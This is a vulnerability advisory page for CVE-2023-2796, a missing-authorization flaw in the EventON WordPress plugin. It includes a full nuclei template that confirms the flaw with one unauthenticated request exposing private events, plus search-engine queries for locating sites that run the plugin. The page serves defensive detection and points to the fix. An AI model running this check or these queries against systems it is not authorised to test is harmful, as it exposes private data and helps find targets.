EventON <= 2.1 - Missing Authorization

mediumseverity

5.3CVSS score

42.7%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.

Impact

Unauthenticated users can perform privileged actions, potentially leading to unauthorized access or modification of events.

Fix

Fixed in version 2.1.2

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1
Positive when: contains "BEGIN:VCALENDAR" and "END:VCALENDAR" AND contains in header "text/Calendar" AND status 200

Run it with nuclei: nuclei -id CVE-2023-2796 -u <target>

The full check

id: CVE-2023-2796

info:
  name: EventON <= 2.1 - Missing Authorization
  author: randomrobbie
  severity: medium
  description: |
    The EventON WordPress plugin before 2.1.2 lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.
  impact: |
    Unauthenticated users can perform privileged actions, potentially leading to unauthorized access or modification of events.
  remediation: Fixed in version 2.1.2
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/dba3f3a6-3f55-4f4e-98e4-bb98d9c94bdd
    - https://wpscan.com/vulnerability/e9ef793c-e5a3-4c55-beee-56b0909f7a0d
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2796
    - http://packetstormsecurity.com/files/173984/WordPress-EventON-Calendar-4.4-Insecure-Direct-Object-Reference.html
    - https://github.com/nullfuzz-pentest/shodan-dorks
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-2796
    cwe-id: CWE-862
    epss-score: 0.42674
    epss-percentile: 0.98723
    cpe: cpe:2.3:a:myeventon:eventon:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: myeventon
    product: eventon
    framework: wordpress
    shodan-query:
      - 'vuln:CVE-2023-2796'
      - http.html:/wp-content/plugins/eventon-lite/
      - http.html:/wp-content/plugins/eventon/
    fofa-query:
      - "wp-content/plugins/eventon/"
      - body=/wp-content/plugins/eventon/
      - body=/wp-content/plugins/eventon-lite/
    publicwww-query:
      - /wp-content/plugins/eventon/
      - /wp-content/plugins/eventon-lite/
    google-query: inurl:"/wp-content/plugins/eventon/"
  tags: cve2023,cve,wpscan,packetstorm,wordpress,wp-plugin,wp,eventon,bypass,myeventon,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "BEGIN:VCALENDAR"
          - "END:VCALENDAR"
        condition: and

      - type: word
        part: header
        words:
          - "text/Calendar"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from